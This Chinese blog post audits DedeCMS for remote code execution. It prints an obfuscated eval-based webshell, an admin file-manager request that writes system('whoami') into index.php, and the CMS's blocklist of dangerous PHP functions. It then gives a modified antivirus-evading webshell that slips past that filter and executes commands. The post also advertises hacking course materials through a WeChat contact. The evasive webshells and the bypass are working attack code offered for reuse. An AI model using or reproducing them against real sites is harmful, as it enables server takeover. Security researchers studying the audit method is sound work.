意外搞出的免殺 Webshell 實戰之織夢 CMS 到 RCE
前言
書接上文,在上次意外搞出的免殺 webshell 條件下,最近又去審計了一個織夢 CMS
最后成功利用免殺 webshell 實現了 RCE,下面是審計過程和審計思路
環境搭建
去官網下載源碼,然后配合 phpstudy 搭建就 ok 了
這個比較簡單,注意根目錄需要放 upload 目錄
注意默認的管理員目錄是 dede,訪問/dede/login.php

默認賬戶密碼adminadmin

代碼審計
這里我只找 RCE 漏洞
首先對于 php 的話,就是找 sink 點,或者在后臺功能點去看,一般審計多了,看到功能點就大概能猜出有哪些漏洞
sink 點的話可以使用一個工具
Seay 源代碼審計系統
https://github.com/f1tz/cnseay
雖然比較粗糙,誤報很多,不過相比于語義分析的工具更能提升代碼審計的技術
我們直接把源碼丟進去就可以了

可以看到這個工具確實不太準確,因為 sink 點實在太多,不過熟練后,一眼就知道哪些不需要去管的
然后這里我只關注能夠 RCE 的漏洞
找到之后沒有什么技巧,就是回頭看參數是否可以控制
【----幫助網安學習,以下所有學習資料免費領!加vx:YJ-2021-1,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
下面舉個例子
案例 1
比如這句話,一眼就感覺有漏洞,我們就需要去詳細查看一下
<?php /*<meta name="9Rrdzo" content="a">*/
$password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0FrUkZza2FWMWVKR003Q2lBZ0lDQjlDaUFnSUNCeVpYUjFjbaTRnSkVRN0NuMEtKSEJoYzNNOUoyRW5Pd29rY0dGNWJHOWhaRTVoYldVOUozQmhlV3h2WVdRbk93b2thMlY1UFNjd1kyTXhOelZpT1dNd1pqRmlObUU0SnpzS2FXWWdLR2x6YzJWMEtDUmZVRTlUVkZza2NHRnpjMTBwS1hzS0lDQWdJQ1JrWVhSaFBXVnVZMjlrWlNoaVlYTmxOalJmWkdWamIyUmxLQ1JmVUU5VFZGc2tjR0Z6YzEwcExDUnJaWGtwT3dvZ0lDQWdhV1lnS0dsemMyVjBLQ1JmVTBWVFUwbFBUbHNrY0dGNWJHOWhaRTVoYldWZEtTbDdDaUFnSUNBZ0lDQWdKSEJoZVd4dllXUTlaVzVqYjJSbEtDUmZVMFZUVTBsUFRsc2tjR0Y1Ykc5aFpFNWhiV1ZkTENSclpYa3BPd29nSUNBZ0lDQWdJR2xtSUNoemRISndiM01vSkhCaGVXeHZZV1FzSW1kbGRFSmhjMmxqYzBsdVptOGlLVDA5UFdaaGJITmxLWHNLSUNBZ0lDQWdJQ0FnSUNBZ0pIQmhlV3h2WVdROVpXNWpiMlJsS0NSd1lYbHNiMkZrTENSclpYa3BPd29nSUNBZ0lDQWdJSDBLQ1FsbGRtRnNLQ1J3WVhsc2IyRmtLVHNLSUNBZ0lDQWdJQ0JsWTJodklITjFZbk4wY2lodFpEVW9KSEJoYzNNdUpHdGxlU2tzTUN3eE5pazdDaUFnSUNBZ0lDQWdaV05vYnlCaVlYTmxOalJmWlc1amIyUmxLR1Z1WTI5a1pTaEFjblZ1S0NSa1lYUmhLU3drYTJWNUtTazdDaUFnSUNBZ0lDQWdaV05vYnlCemRXSnpkSElvYldRMUtDUndZWE56TGlSclpYa3BMREUyS1RzS0lDQWdJSDFsYkhObGV3b2dJQ0FnSUNBZ0lHbG1JQ2h6ZEhKd2IzTW9KR1JoZEdFc0ltZGxkRUpoYzJsamMwbHVabThpS1NFOVBXWmhiSE5sS1hzS0lDQWdJQ0FnSUNBZ0lDQWdKRjlUUlZOVFNVOU9XeVJ3WVhsc2IyRmtUbUZ0WlYwOVpXNWpiMlJsS0NSa1lYUmhMQ1JyWlhrcE93b2dJQ0FnSUNBZ0lIMEtJQ0FnSUgwS2ZRPT0=';
$username = get_meta_tags(__FILE__)[$_GET['token']];
header("ddddddd:".$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
if ($k[0] == 'd' && $k[5] == 'd') {
$template_source = str_replace($v,'',$password);
}}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode[1]=$$key;
@eval($aes_decode[1]);
$NkM1M7 = "..............";
if( count($_REQUEST) || file_get_contents("php://input") ){
?
}else{
header('Content-Type:text/html;charset=utf-8'); http_response_code(405);
echo base64_decode/**/($NkM1M7);
}
我們可以看到這個參數其實是不能控制的
`aes_decode[1]就是 $$key,等價于$template_source
$template_source = str_replace($v, '', $password);
來源于$password
而其中 password 是固定的,所以不可以控制
案例 2

function DeleteFile($filename)
{
$filename = $this->baseDir.$this->activeDir."/$filename";
if(is_file($filename))
{
@unlink($filename); $t="文件";
}
else
{
$t = "目錄";
if($this->allowDeleteDir==1)
{
$this->RmDirFiles($filename);
} else
{
// 完善用戶體驗,by:sumic
ShowMsg("系統禁止刪除".$t."!","file_manage_main.php?activepath=".$this->activeDir);
exit;
}
}
ShowMsg("成功刪除一個".$t."!","file_manage_main.php?activepath=".$this->activeDir);
return 0;
}
}
是一個方法,這種需要尋找調用這個方法的地方
else if($fmdo=="del")
{
$fmm->DeleteFile($filename);
}
這種是一個典型的控制器,根據 fmdo 來選擇對應的操作
不過根據所在的文件的注釋
/**
* 文件管理控制
*
* @version $Id: file_manage_control.php 1 8:48 2010年7月13日 $
* @package DedeCMS.Administrator
* @founder IT柏拉圖, https://weibo.com/itprato
* @author DedeCMS團隊
* @copyright Copyright (c) 2004 - 2024, 上海卓卓網絡科技有限公司 (DesDev, Inc.)
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/
這里就能大概猜到了
是一個文件管理器,可能對應著刪除按鈕,我們嘗試能不能目錄穿越
不過這里是做了限制的

$filename = preg_replace("#([.]+[/]+)*#", "", $filename);
移除 ../ 形式的路徑穿越字符
而且下面還會直接移除..
所以考慮放棄
案例 3
定位到 sys_sql_query.php 文件了
發現可以執行 sql
if(preg_match("#^select #i", $sqlquery))
{
$dsql->SetQuery($sqlquery);
$dsql->Execute();
if($dsql->GetTotalRow()<=0)
{
echo "運行SQL:{$sqlquery},無返回記錄!";
}
else
{
echo "運行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."條記錄,最大返回100條!";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j++;
if($j > 100)
{
break;
}
echo "<hr size=1 width='100%'/>";
echo "記錄:$j";
echo "<hr size=1 width='100%'/>";
foreach($row as $k=>$v)
{
echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";
}
}
exit();
}
if($querytype==2)
{
//普通的SQL語句
$sqlquery = str_replace("\r","",$sqlquery);
$sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);
$nerrCode = ""; $i=0;
foreach($sqls as $q)
{
$q = trim($q);
if($q=="")
{
continue;
}
$dsql->ExecuteNoneQuery($q);
$errCode = trim($dsql->GetError());
if($errCode=="")
{
$i++;
}
else
{
$nerrCode .= "執行: <font color='blue'>$q</font> 出錯,錯誤提示:<font color='red'>".$errCode."</font><br>";
}
}
echo "成功執行{$i}個SQL語句!<br><br>";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = trim($dsql->GetError());
echo "成功執行1個SQL語句!<br><br>";
echo $nerrCode;
}
exit();
}
而且 sql 語句是可以控制的
跟進執行的地方發現
function Execute($id="me", $sql='')
{
global $dsqli;
if(!$dsqli->isInit)
{
$this->Init($this->pconnect);
}
if($dsqli->isClose)
{
$this->Open(FALSE);
$dsqli->isClose = FALSE;
}
if(!empty($sql))
{
$this->SetQuery($sql);
}
//SQL語句安全檢查
if($this->safeCheck)
{
CheckSql($this->queryString);
}
?
$t1 = ExecTime();
//var_dump($this->queryString);
$this->result[$id] = mysqli_query($this->linkID, $this->queryString);
//var_dump(mysql_error());
?
//查詢性能測試
if($this->recordLog) {
$queryTime = ExecTime() - $t1;
$this->RecordLog($queryTime);
//echo $this->queryString."--{$queryTime}<hr />\r\n";
}
?
if($this->result[$id]===FALSE)
{
$this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
}
}
是有一個 checksql 的檢查的
//SQL語句過濾程序,由80sec提供,這里作了適當的修改
if (!function_exists('CheckSql'))
{
function CheckSql($db_string,$querytype='select')
{
global $cfg_cookie_encode;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
$userIP = GetIP();
$getUrl = GetCurUrl();
?
//如果是普通查詢語句,直接過濾一些特殊語法
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
?
//$notallow2 = "--|/\*";
if(preg_match("/".$notallow1."/i", $db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
?
//完整的SQL檢查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
?
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
OR strpos($clean,'$s$$s$')!== FALSE)
{
$fail = TRUE;
if(preg_match("#^create table#i",$clean)) $fail = FALSE;
$error="unusual character";
}
?
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以檢查它
if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="union detect";
}
?
//發布版本的程序可能比較少包括--,#這樣的注釋,但是黑客經常使用它們
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
?
//這些函數不會被使用,但是黑客會用它來操作文件,down掉數據庫
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
?
//老版本的MYSQL不支持子查詢,我們的程序里可能也用得少,但是黑客可以使用它來查詢數據庫敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{
$fail = TRUE;
$error="sub select detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}
}
}
案例 4
基于這個文件管理,我們還是在這個類,肯定還有編輯文件的說法
我們來到對應的路由去查看
果然找到了
//文件編輯
?
/*---------------
function __saveEdit();
----------------*/
else if($fmdo=="edit")
{
csrf_check();
$filename = str_replace("..", "", $filename);
$file = "$cfg_basedir$activepath/$filename";
$str = stripslashes($str);
$fp = fopen($file, "w");
fputs($fp, $str);
fclose($fp);
?
if ($fp === false) {
ShowMsg("保存失敗!請檢查文件是否可寫", -1);
exit();
}
?
if(empty($backurl))
{
ShowMsg("成功保存一個文件!","file_manage_main.php?activepath=$activepath");
}
else
{
ShowMsg("成功保存文件!",$backurl);
}
exit();
}
一樣的方法
文件名是 filename,內容是 str
我們訪問對應的路由

發現是一個文件管理器,而且可以編輯文件,那不是隨便 getshell 了嗎
POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 130
Cache-Control: max-age=0
Origin: http://dedecms:5135
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath=
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwahta_5a98Q7N_flG_VxGw676bsG3Q_Hk4jTL1XGn8HrFtj7ITT0j3kWTuZGs6I-UvyxNRfGi-rNoxmSTFE5r0gcex_HS4cP3EIRhvDiGtL0l8FXtOxSMrK24qcFj3JoVYSmG96Nex-jhaGx1flJEYMyibz9IZePg-2omX_wkoeSaLq4YyiPqxM2PUlURr6YFm1mU5MQVi-YmbyXOl2fzt8A2tMnIjOgRKtXHxj6VLIZ9JeN7al8oiGzDb-Z64p8FHHhQN7zJzeWvRrN7arFe8tKpV7Nzrv; PHPSESSID=efqbsshdtt5v597qu9paat8s7a; _csrf_name_f9024a86=f709bfcd9cfdec39b55e236837689b25; _csrf_name_f9024a861BH21ANI1AGD297L1FF21LN02BGE1DNG=f4d72c693dc8f42f; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=cdad88453fa752a4; DedeLoginTime=1752071402; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=b21c89eb676161cd; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive
?
fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++
但是發現

所以準備調試分析一手
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);
?
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:當前頁面中存在惡意代碼!<pre>{$str}</pre>");
}
}
?
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:當前頁面中存在惡意代碼!<pre>{$str}</pre>");
}
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:當前頁面中存在惡意代碼!<pre>{$str}</pre>");
}
if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:當前頁面中存在惡意代碼!<pre>{$str}</pre>");
}
}
發現原因是因為有 waf
直接交給一個聰明朋友
移除多行注釋
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);
防止攻擊者把危險代碼寫在注釋中來繞過檢測。
危險函數與變量過濾
$cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...';
匹配并攔截使用了以下內容的代碼:
系統函數:eval, exec, system, passthru, popen, assert, shell_exec 等
全局變量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS
動態函數調用:call_user_func, create_function, 等
一旦匹配:直接終止執行并提示危險代碼。
PHP 標簽與代碼執行行為檢測

感覺過濾還是挺嚴格的
繞過 waf 到 RCE
直接掏出上次的 webshell,稍微修改一下就 ok 了
<?php
?
class User {
private $username;
private $password;
?
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
?
public function __debugInfo() {
$xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getNamespaces(TRUE);
$xmlElement->rewind();
var_dump($xmlElement->key());
$result = $xmlElement->xpath('/books/system');
var_dump (($result[0]->__toString()));
($xmlElement->key())($result[0]->__toString());
return [
'username' => $this->username,
'info' => '這是調試時返回的信息',
'timestamp' => time()
];
}
}
?
$user = new User('alice', 'secret123');
var_dump($user);
?
原理上次大概講過了,就是自動觸發
詳情可以看到蟻景網絡安全這個公眾號

https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg
感謝給的平臺
然后我們訪問首頁

成功彈出計算器
更多網安技能的在線實操練習,請點擊這里>>

浙公網安備 33010602011771號